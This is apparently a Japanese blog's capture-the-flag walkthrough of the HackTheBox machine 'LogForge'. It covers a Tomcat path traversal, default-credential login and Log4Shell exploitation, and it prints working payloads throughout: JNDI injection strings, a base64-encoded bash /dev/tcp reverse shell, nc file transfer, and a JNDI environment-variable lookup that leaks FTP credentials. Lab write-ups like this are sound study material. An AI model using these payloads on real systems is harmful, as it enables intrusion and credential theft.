今回は、HackTheBoxのMediumマシン「LogForge」のWriteUpです!
名前がすでに、ある脆弱性を思い浮かべさせますが、どのようなマシンなのでしょうか。。
グラフは、The Mediumといった感じのグラフですね。。
ルート目指して、攻略頑張ります!
HackTheBoxってなに?という方はこちらの記事を見てみてください!一緒にハッキングしましょう~。
また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!
LogForge
侵入
それでは、攻略を開始します。
まずはいつものようにポートスキャンから始めましょう。
┌──(kali㉿kali)-[~/Desktop/LogForge]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.11.138 -oN nmap.log
PORT STATE SERVICE REASON VERSION
21/tcp filtered ftp no-response
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ea8421a3224a7df9b525517983a4f5f2 (RSA)
| 256 b8399ef488beaa01732d10fb447f8461 (ECDSA)
|_ 256 2221e9f485908745161f733641ee3b32 (ED25519)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Ultimate Hacking Championship
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
6642/tcp filtered unknown host-unreach from 10.10.14.1 ttl 64
8080/tcp filtered http-proxy no-response
8627/tcp filtered unknown host-unreach from 10.10.14.1 ttl 64
11074/tcp filtered unknown host-unreach from 10.10.14.1 ttl 64
12890/tcp filtered unknown host-unreach from 10.10.14.1 ttl 64
21273/tcp filtered unknown host-unreach from 10.10.14.1 ttl 64
23126/tcp filtered unknown host-unreach from 10.10.14.1 ttl 64
25253/tcp filtered unknown host-unreach from 10.10.14.1 ttl 64
27137/tcp filtered unknown host-unreach from 10.10.14.1 ttl 64
37742/tcp filtered unknown host-unreach from 10.10.14.1 ttl 64
40189/tcp filtered unknown host-unreach from 10.10.14.1 ttl 64
57197/tcp filtered unknown host-unreach from 10.10.14.1 ttl 64
58733/tcp filtered unknown host-unreach from 10.10.14.1 ttl 64
オープンポートとして22番と80番が出力されました。その他にもフィルターがかかっているポートがいくつか出力されていますが、とりあえず気にしないでおきます。
では、80番が開いているのでWebにアクセスしてみます。
かっこいいロゴが表示されましたが、このページには他に遷移できるようなものがありません。
しかし、80番が開いていて何もないというのはあまりにも不自然です。
ディレクトリ探索を行い、隠れたディレクトリがないかを調査してみましょう。
┌──(kali㉿kali)-[~/Desktop/LogForge]
└─$ gobuster dir -u http://10.10.11.138 -w /usr/share/seclists/Discovery/Web-Content/big.txt -e -o gobuster.log
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.138
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2023/06/30 14:19:01 Starting gobuster in directory enumeration mode
===============================================================
http://10.10.11.138/admin (Status: 403) [Size: 277]
http://10.10.11.138/images (Status: 302) [Size: 0] [--> /images/]
http://10.10.11.138/manager (Status: 403) [Size: 277]
http://10.10.11.138/server-status (Status: 403) [Size: 277]
Progress: 20470 / 20477 (99.97%)
===============================================================
2023/06/30 14:25:14 Finished
===============================================================
adminやmanagerといったディレクトリを発見しました。。。が403番が返ってきており、権限によって弾かれてしまっていることが分かります。
実際にアクセスしてみましたが、写真の通りアクセスできません。
この時点で少し困ってしまいますが、もう少し奥深くまで調べてみます。
まずは、BurpSuiteでリクエストとレスポンスの内容を見てみましょう。
小さくて見えずらいかもしれませんが、リクエストの部分でJSESSIONIDが使用されていることが分かります。
JSESSIONIDは、セッションの一種であり、Tomcatで使用されるものです。
セッションについては下記の記事に詳しく説明されているので、参考にしてみてください。
JSESSIONIDが使用されていることにより、このサイトがTomcatで実装されていることが分かりました。
Tomcat
そもそも、Tomcatとはなにかというと、Java ServletやJavaServer Pages を実行するためのWebコンテナです。Tomcatには、様々な脆弱性があり、インターネット上でも多くの記事が存在します。
今回は私のイチオシであるHackTricksでTomcatについて調べてみました。
すると、記事の中にパストラバーサルという興味深い内容を発見しました。
記事によると、「/..;/」というパスを使用することで、保護されたディレクトリ、つまり先ほど403でアクセス拒否されたadminやmanagerにアクセスできるようです。
例では、ipアドレスの後に適当な文字列を入力し、そのあとに「/..;/」を入力。最後に 「/manager/html」 を指定しています。そのまま同じように試してみましょう。
Basic認証のプロンプトが表示されました!
どうやらアクセスに成功したようです。では、Basic認証をクリアするために、デフォルトの認証情報がないか調べてみます。
すると、同じHackTricksのページにデフォルトの認証情報が書かれています!
上の「admin:admin」から一つずつ試してみましょう。
tomcat:tomcatを入力すると、認証をクリアできました!
Tomcatのマネージャーパネルにアクセスできたので、パネル内を調査してみましょう。
調査していくと、パネルの中央あたりにWARファイルをアップロードしてデプロイできる機能を発見しました。
ファイルアップロードはRCEなどの大きな脆弱性につながる重要な機能です。ここでもWARファイルがアップロードできるので、HackTricksで関連した情報がないかを見てみましょう。
よく見ていくと、MSFVenom Reverse Shellという題名でWARファイルを作成する例が記載されています。MSFVenomとは、ペイロードを作成できるコマンドです。うまく脆弱性が発火すると、作成されたペイロードをアップロードすることで、シェルを取得できます。
それでは、こちらも例に沿ってWARファイルを作成してみましょう。
┌──(kali㉿kali)-[~/Desktop/LogForge]
└─$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.2 LPORT=5555 -f war -o shell.war
Payload size: 1084 bytes
Final size of war file: 1084 bytes
Saved as: shell.war
作成できたら、実際にアップロードします。
アップロードに失敗してしまいました。エラー文を見てみると、アップロードできるファイルの最大サイズは1byteだと書かれています。1byteのファイルなどあるはずもないので、今回はファイルアップロードによる攻撃は行えないようです。
では、次に何ができるのかという話になってきますが、結論から言うと「Log4Shell」の発火を試みます。Log4Shellとは、ログのフレームワークである「Log4j」で発見されたゼロデイの脆弱性です。WikiやQiitaなどで詳細が説明されていますが、ここでも簡単に説明させていただきます。
Log4Shell
Log4Shellを悪用することで、RCEが発火します。では、どのように発火するのか見ていきましょう。
まず、Log4jは、アプリケーション内のさまざまなデータをロギングする機能を提供提供します。その中で、JNDIと呼ばれる仕組みの処理やLookupと呼ばれる機能を使用することができるのですが、まさにこのJNDIとLookupがLog4Shell発火の原因となります。
では、JNDIとは何でしょう。
一言でいうと、ディレクトリ・サービスが提供するデータやオブジェクトを名前で発見し、参照するためのAPIです。いくつかのディレクトリインタフェースを利用することが可能で、LDAPプロトコルが代表的な例として挙げられます。これにより、ローカルまたはインターネット上の任意の場所にあるサーバーからURLとしてオブジェクトデータを取得することが可能です。
攻撃者は、このJNDIを悪用し、ロギングされる文字列を入力することで、悪意のあるコードを読み込ませRCEを発火させたり、環境変数などのデータを入手します。
HackTricksにも詳細がまとめられています。
ざっと説明させていただいたので、マシンの攻略に戻りましょう。
まず、Log4Shellに脆弱であるかどうかを確認するために、LDAPでの通信が可能かどうかを確認します。Kali側で待ち受けを開始します。
┌──(kali㉿kali)-[~/Desktop/LogForge]
└─$ sudo tcpdump -ni tun0 not port 80
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
待ち受けを開始したら、JNDIの文字列をログに記載されそうな場所に入力してみます。
JNDIの文字列は下記のようなものを使用します。
${jndi:ldap://10.10.14.3/file}
文字列をどこに入力するかですが、今回はセッションのアイドルタイムの欄に入力してみたいと思います。
見えにくいと思いますが、セッションの一番上の欄を「30」から変更しています。
では、変更できたので、「Expire sessions」をクリックし、tcpdumpで通信が確認できるか見てみましょう。
┌──(kali㉿kali)-[~/Desktop/LogForge]
└─$ sudo tcpdump -ni tun0 not port 80
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
11:27:15.535545 IP 10.10.11.138.56036 > 10.10.14.3.389: Flags [S], seq 3358874142, win 64240, options [mss 1340,sackOK,TS val 1899256618 ecr 0,nop,wscale 7], length 0
11:27:15.535575 IP 10.10.14.3.389 > 10.10.11.138.56036: Flags [R.], seq 0, ack 3358874143, win 0, length 0
通信が確認できました!
Log4Shellに対して脆弱であることがわかったので、HackTricksを参考にしつつ、RCEを発火させましょう!
まずは、リポジトリからysoserial-modified.jar
をダウンロードします。
ダウンロードが完了したら、逆シリアル化されたエクスプロイトを作成します。
いきなりシェルを狙わずに、pingが実行できるかを試してみます。
┌──(kali㉿kali)-[~/Desktop/LogForge]
└─$ PATH=/usr/lib/jvm/java-11-openjdk-amd64/bin:$PATH java -jar ysoserial-modified.jar CommonsCollections5 bash 'ping -c 3 10.10.14.3' > ping.ser
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by ysoserial.payloads.CommonsCollections5 (file:/home/kali/Desktop/LogForge/ysoserial-modified.jar) to field javax.management.BadAttributeValueExpException.val
WARNING: Please consider reporting this to the maintainers of ysoserial.payloads.CommonsCollections5
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release
WARNINGが出力されていますが、一応作成は成功しています。
Log4Shellを発火させるためには、jdkのversion11が必要です。
下記を実行し、Kali Linuxにインストールしてください。
┌──(kali㉿kali)-[~/Desktop/LogForge]
└─$ sudo apt-get install -y openjdk-11-jdk
違うコマンドでは、version11を使用したくない人は、この記事と同じように毎回パスを指定して実行することをおススメします。
エクスプロイトが作成できたら、JNDIリンクを作成します。作成するために、リポジトリからJNDI-Exploit-Kitをダウンロードします。
ダウンロードできたら、実際にリンクを作成していきます。
┌──(kali㉿kali)-[~/Desktop/LogForge]
└─$ PATH=/usr/lib/jvm/java-11-openjdk-amd64/bin:$PATH java -jar JNDI-Exploit-Kit/target/JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar -L 10.10.14.3:389 -P ping.ser
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
_ _ _ _____ _____ ______ _ _ _ _ ___ _
| | \ | | __ \_ _| | ____| | | (_) | | |/ (_) |
| | \| | | | || |______| |__ __ ___ __ | | ___ _| |_ ______| ' / _| |_
_ | | . ` | | | || |______| __| \ \/ / '_ \| |/ _ \| | __|______| < | | __|
| |__| | |\ | |__| || |_ | |____ > <| |_) | | (_) | | |_ | . \| | |_
\____/|_| \_|_____/_____| |______/_/\_\ .__/|_|\___/|_|\__| |_|\_\_|\__|
| |
|_| created by @welk1n
modified by @pimps
----------------------------JNDI Links----------------------------
Target environment(Build in JDK 1.5 whose trustURLCodebase is true):
rmi://10.10.14.3:1099/ys74uv
ldap://10.10.14.3:389/ys74uv
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://10.10.14.3:1099/detpyy
ldap://10.10.14.3:389/detpyy
Target environment(Build in JDK 1.6 whose trustURLCodebase is true):
rmi://10.10.14.3:1099/ncfosg
ldap://10.10.14.3:389/ncfosg
Target environment(Build in JDK - (BYPASS WITH GROOVY by @orangetw) whose trustURLCodebase is false and have Tomcat 8+ and Groovy in classpath):
rmi://10.10.14.3:1099/aotkj7
Target environment(Build in JDK - (BYPASS WITH EL by @welk1n) whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://10.10.14.3:1099/xzlhaf
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://10.10.14.3:1099/uzjiws
ldap://10.10.14.3:389/uzjiws
-------------------- LDAP SERIALIZED PAYLOADS --------------------
JNDIリンクが出力されています。今回は、JDK 1.5を使用します。
先ほどのLADPのURLをJNDIリンクに変更します。
${jndi:ldap://10.10.14.3:389/ys74uv}
準備は完了したので、忘れずに、tcpdumpを実行するようにします。
┌──(kali㉿kali)-[~/Desktop/LogForge]
└─$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
では、セッションのアイドルタイムにJNDI文字列を入力し、RCEを発火させましょう!
2023-07-03 15:39:02 [JETTYSERVER]>> Listening on 10.10.14.3:8180
2023-07-03 15:39:02 [RMISERVER] >> Listening on 10.10.14.3:1099
2023-07-03 15:39:03 [LDAPSERVER] >> Listening on 0.0.0.0:389
2023-07-03 15:43:42 [LDAPSERVER] >> Send LDAP reference result for ys74uv redirecting to http://10.10.14.3:8180/ExecTemplateJDK5.class
あれ?リクエストは成功していそうですが、コマンドが実行されません。。。
確実に成功すると思ったのですが、困りました。。。
ここからかなり調べましたが、やはり発火の方法は間違っていないようです。
攻略後、確認したところ既に出回っているWriteUpでは、上記の方法を使用しLog4Shellを発火させていたので、2021年12月までのLogForgeでは、上記の方法でうまく発火していたようです。
しかし、今ではバグが発生してしまったのか、上記の手法ではうまくいかないようです。
では、どのように発火させればよいのか。。。
それは、JNDI-Exploit-Kitの別の方法を使用します。Kitの出力をよく見ると、Example2に直接コマンドを入力している(base64エンコード後)ものがあることに気付きます。
[+] Serialized payloads support Dynamic Command inputs in the following format:
ldap://10.10.14.3:389/serial/[payload_name]/exec_global/[base64_command]
ldap://10.10.14.3:389/serial/[payload_name]/exec_unix/[base64_command]
ldap://10.10.14.3:389/serial/[payload_name]/exec_win/[base64_command]
ldap://10.10.14.3:389/serial/[payload_name]/sleep/[miliseconds]
ldap://10.10.14.3:389/serial/[payload_name]/java_reverse_shell/[ipaddress:port]
ldap://10.10.14.3:389/serial/[payload_name]/dns/[domain_name]
Example1: ldap://127.0.0.1:1389/serial/CommonsCollections5/exec_unix/cGluZyAtYzEgZ29vZ2xlLmNvbQ==
Example2: ldap://127.0.0.1:1389/serial/Hibernate1/exec_win/cGluZyAtYzEgZ29vZ2xlLmNvbQ==
Example3: ldap://127.0.0.1:1389/serial/Jdk7u21/java_reverse_shell/127.0.0.1:9999
Example4: ldap://127.0.0.1:1389/serial/ROME/sleep/30000
Example5: ldap://127.0.0.1:1389/serial/URLDNS/dns/sub.mydomain.com
実行したいコマンドをそのままパスで指定するだけなので、比較的簡単に実行できます。正攻法がうまくいかなかったので、うまく行く可能性は低いとは思いますが、実行してみましょう。
新たなJDNI文字列を作成する必要があります。まず、実行したいコマンドをbase64エンコードします。
┌──(kali㉿kali)-[~/Desktop/LogForge]
└─$ python3
Python 3.11.2 (main, Mar 13 2023, 12:18:29) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> base64.b64encode('ping -c 3 10.10.14.3'.encode())
b'cGluZyAtYyAzIDEwLjEwLjE0LjM='
エンコードできたので、この文字列をパスに追加し、JNDI文字列を作成します。
${jndi:ldap://10.10.14.3:389/serial/CommonsCollections5/exec_unix/cGluZyAtYyAzIDEwLjEwLjE0LjM=}
作成できたので、同じようにセッションのアイドルタイムに入力し、リクエストを送信しましょう。
┌──(kali㉿kali)-[~/Desktop/LogForge]
└─$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
16:02:51.328650 IP 10.10.11.138 > 10.10.14.3: ICMP echo request, id 1, seq 1, length 64
16:02:51.332347 IP 10.10.14.3 > 10.10.11.138: ICMP echo reply, id 1, seq 1, length 64
16:02:52.329619 IP 10.10.11.138 > 10.10.14.3: ICMP echo request, id 1, seq 2, length 64
16:02:52.329683 IP 10.10.14.3 > 10.10.11.138: ICMP echo reply, id 1, seq 2, length 64
16:02:53.331225 IP 10.10.11.138 > 10.10.14.3: ICMP echo request, id 1, seq 3, length 64
16:02:53.331288 IP 10.10.14.3 > 10.10.11.138: ICMP echo reply, id 1, seq 3, length 64
応答が返ってきました!
なぜ、このやり方じゃないとうまく行かないのかに関しては、まだわからないので今後調査していきたいと思います。が、とりあえずRCEが発火したので、シェルの取得も狙っていきます。
tomcatとしてのシェル
まずは、実行したいコマンドをbase64エンコードします。
>>> base64.b64encode('bash -c "bash -i >& /dev/tcp/10.10.14.3/5555 0>&1"'.encode())
b'YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zLzU1NTUgMD4mMSI='
エンコードできたので、同じようにJNDI文字列を作成し、アイドルタイムに入力します。
┌──(kali㉿kali)-[~/Desktop/LogForge]
└─$ nc -lnvp 5555
listening on [any] 5555 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.11.138] 38082
bash: cannot set terminal process group (835): Inappropriate ioctl for device
bash: no job control in this shell
tomcat@LogForge:/var/lib/tomcat9$ whoami
tomcat
ひと悶着ありましたが、なんとかシェルを取得できました!
tomcat@LogForge:/home/htb$ ls -l
total 4
-rw-r--r-- 1 root root 33 Jul 3 01:00 user.txt
tomcatには、ホームディレクトリがないですが、ユーザフラグへの読み込み権限はあるようです。
権限昇格
ユーザを取得する時点でだいぶん骨が折れましたが、権限昇格も頑張っていきましょう。
tomcat@LogForge:/home/htb$ sudo -l
sudo: effective uid is not 0, is /usr/bin/sudo on a file system with the 'nosuid' option set or an NFS file system without root privileges?
予想はしていましたが、sudoは使用できないようです。
htbのホームディレクトリにも目を引くものはなさそうなので、他の列挙に移ります。
次に、開いているポートを見るために、netstatを実行しました。
tomcat@LogForge:/home/htb$ netstat -lntp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::8080 :::* LISTEN 835/java
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::21 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
すっかり忘れていましたが、ポートスキャン時に21番と8080番が見えていたのを思い出しました。
tomcat@LogForge:/home/htb$ ps auxww | grep ftp
root 986 0.1 1.8 3576972 76064 ? Sl 01:01 0:31 java -jar /root/ftpServer-1.0-SNAPSHOT-all.jar
ps auxwwで確認すると、ftpのjarファイルがrootで実行されていることが分かりました。
ファイルを確認するために、Kali側へ送信したいのですが、jarファイルはrootディレクトリ内に存在し、権限がありません。
どこかにコピーが存在しないかを見るために、locateコマンドを実行します。
tomcat@LogForge:/home/htb$ locate ftpServer-1.0-SNAPSHOT-all.jar
/ftpServer-1.0-SNAPSHOT-all.jar
ルート直下に同じファイルがあることが分かります!
権限があるか見てみましょう。
tomcat@LogForge:/$ ls -l ftpServer-1.0-SNAPSHOT-all.jar
-rw-r--r-- 1 root root 2048143 Dec 18 2021 ftpServer-1.0-SNAPSHOT-all.jar
読み込み権限があります!
これでKali側へ送信することができるので、ncコマンドを実行します。
Kali側で待ち受け
┌──(kali㉿kali)-[~/Desktop/LogForge]
└─$ nc -lvnp 6666 > ftpServer-1.0-SNAPSHOT-all.jar
listening on [any] 6666 ...
サーバ側で送信します。
tomcat@LogForge:/$ nc 10.10.14.3 6666 < ftpServer-1.0-SNAPSHOT-all.jar
ファイルサイズを見るなりして、確実に送信されたことを確認してください。
┌──(kali㉿kali)-[~/Desktop/LogForge]
└─$ ls -l
total 2028
-rw-r--r-- 1 kali kali 2048143 Jul 3 17:15 ftpServer-1.0-SNAPSHOT-all.jar
-rw-r--r-- 1 kali kali 326 Jun 30 14:23 gobuster.log
drwxr-xr-x 7 kali kali 4096 Jul 3 14:36 JNDI-Exploit-Kit
-rw-r--r-- 1 root root 3910 Jun 30 13:54 nmap.log
-rw-r--r-- 1 kali kali 2047 Jul 3 14:33 ping.ser
-rw-r--r-- 1 kali kali 1084 Jun 30 15:29 shell.war
drwxr-xr-x 5 kali kali 4096 Jul 3 14:30 ysoserial-modified
送信できたら、ncコマンドの実行を中止しましょう。
ftpServer-1.0-SNAPSHOT-all.jar
では、jd-guiを使用して、jarファイルをデコンパイルします。
mainを見てみると、ServerとWorkerというクラスがあることが分かります。
どちらも軽く目を通してみます。
Serverクラスは、FTPサーバを立ち上げ、接続を待ち受けます。
Workerクラスは、FTPサーバの各動作が書かれています。
その中で、66行目、67行目に気になるコードを発見しました。
private String validUser = System.getenv("ftp_user");
private String validPassword = System.getenv("ftp_password");
FTPの認証情報が環境変数から取得されています。
ここで、もう一度Log4Shellの話に戻ります。Log4Shellは、ロギングの機能を使用し任意のコマンドを実行できることに加えて、環境変数などのデータを取得することも可能でした。
つまり、Log4Shellを悪用することで、FTPの認証情報を取得できるかもしれません!
実際に試してみましょう。
環境変数を読み込むには、読み込むことのできる権限が必要であるため、Webは使用できません。そこで、jarファイルがrootで実行されていたFTP上でLog4Shellを発火させます。
FTP上でどうやって発火させるのかですが、FTPを使用するうえで、必ずログに追加される部分を狙います。そう、ログインのユーザ名です!
ユーザ名入力時に、JNDI文字列を入力します。今回は環境変数を取得するので、下記のような文字列になります。
${jndi:ldap://10.10.14.3/user:${env:ftp_user}}
では、実際にFTPログインでJNDI文字列を入力してみましょう。
tomcat@LogForge:/$ ftp localhost
Connected to localhost.
220 Welcome to the FTP-Server
Name (localhost:tomcat): ${jndi:ldap://10.10.14.3/user:${env:ftp_user}}
530 Not logged in
Login failed.
Remote system type is FTP.
当然ログインには失敗しますが、ldapに出力された情報を見てみましょう。
2023-07-03 17:45:29 [LDAPSERVER] >> Reference that matches the name(user:ippsec) is not found.
2023-07-03 17:45:30 [LDAPSERVER] >> Reference that matches the name(user:ippsec) is not found.
env:ftp_user
で示した部分が、ippsec
に変更されていることが分かります!環境変数の取得に成功したので、パスワードも同じように取得しましょう。
tomcat@LogForge:/$ ftp localhost
Connected to localhost.
220 Welcome to the FTP-Server
Name (localhost:tomcat): ${jndi:ldap://10.10.14.3/password:${env:ftp_password}}
530 Not logged in
Login failed.
Remote system type is FTP.
同じように、ログインには失敗しますが
2023-07-03 17:50:01 [LDAPSERVER] >> Reference that matches the name(password:log4j_env_leakage) is not found.
2023-07-03 17:50:01 [LDAPSERVER] >> Reference that matches the name(password:log4j_env_leakage) is not found.
パスワードを取得できました!
rootとしてシェル
取得した認証情報でフラグを目指します!
rootのシェルに関しても、以前はFTPのパスワードがそのままsuで使用できたようですが、私が試してみたところ、rootのシェルを取得する方法は分かりませんでした。
こちらも他の方法があるか調査を続けていきます。
それでは、実際にFTPログインを行います。
tomcat@LogForge:/$ ftp localhost
Connected to localhost.
220 Welcome to the FTP-Server
Name (localhost:tomcat): ippsec
331 User name okay, need password
Password:
230-Welcome to HKUST
230 User logged in successfully
Remote system type is FTP.
ログインが成功しました!どのようなファイルがあるか見てみましょう。
ftp> ls
200 Command OK
125 Opening ASCII mode data connection for file list.
.profile
.ssh
snap
ftpServer-1.0-SNAPSHOT-all.jar
.bashrc
.selected_editor
run.sh
.lesshst
.bash_history
root.txt
.viminfo
.cache
226 Transfer complete.
どうやらrootのホームディレクトリのようです!
root.txtが見えているので、getコマンドを実行しましょう!
ftp> get root.txt
local: root.txt remote: root.txt
local: root.txt: Permission denied
権限ではじかれてしまいました。。
一瞬戸惑いましたが、よく考えれば当然のことでした。rootディレクトリには書き込み権限がないです。
なので、ローカルのディレクトリを書き込み権限のあるtmpディレクトリへと変更します。
ftp> lcd /tmp
Local directory now /tmp
変更ができたので、再度getを実行します。
ftp> get root.txt
local: root.txt remote: root.txt
200 Command OK
150 Opening ASCII mode data connection for requested file root.txt
WARNING! 1 bare linefeeds received in ASCII mode
File may not have transferred correctly.
226 File transfer successful. Closing data connection.
33 bytes received in 0.00 secs (51.8112 kB/s)
成功しました!
実際にtmpディレクトリを見てみましょう。
tomcat@LogForge:/tmp$ ls -l
total 4
drwxr-x--- 1 tomcat tomcat 6 Jul 3 01:00 hsperfdata_tomcat
-rw-r----- 1 tomcat tomcat 33 Jul 3 09:01 root.txt
フラグを確認できました!完全攻略達成です~!!
攻略を終えて
今回は、Log4Shellという有名な脆弱性を使用し、攻略していきましたが、中々発火してくれず、かなり苦戦しました。。なぜ、通常で発火せずに、base64エンコードで発火したのかは謎ですが、ダメ元で実行してみてよかったなと思いました。やはり、一つダメだからといってすぐに諦めるのはよくないですね。
権限昇格に関しては、環境変数の存在に早く気付くことができてよかったです。恐らく普段のマシンではあまり見ないルートへのパスだったので、いい学習になりました。欲を言えばルートのシェルを取りたかったですが笑
全体的に、Log4Shell一色という感じだったので、1から学び直すいい機会となりました!有名な脆弱性でも詳しく知らないことが少なくないので、自分の中のインプットとアウトプットを確立させていきたいと思います!
今後も、HackTheBoxのWriteUpを投稿していきますので、見ていただけると嬉しいです!
最後まで閲覧していただき、ありがとうございました~!!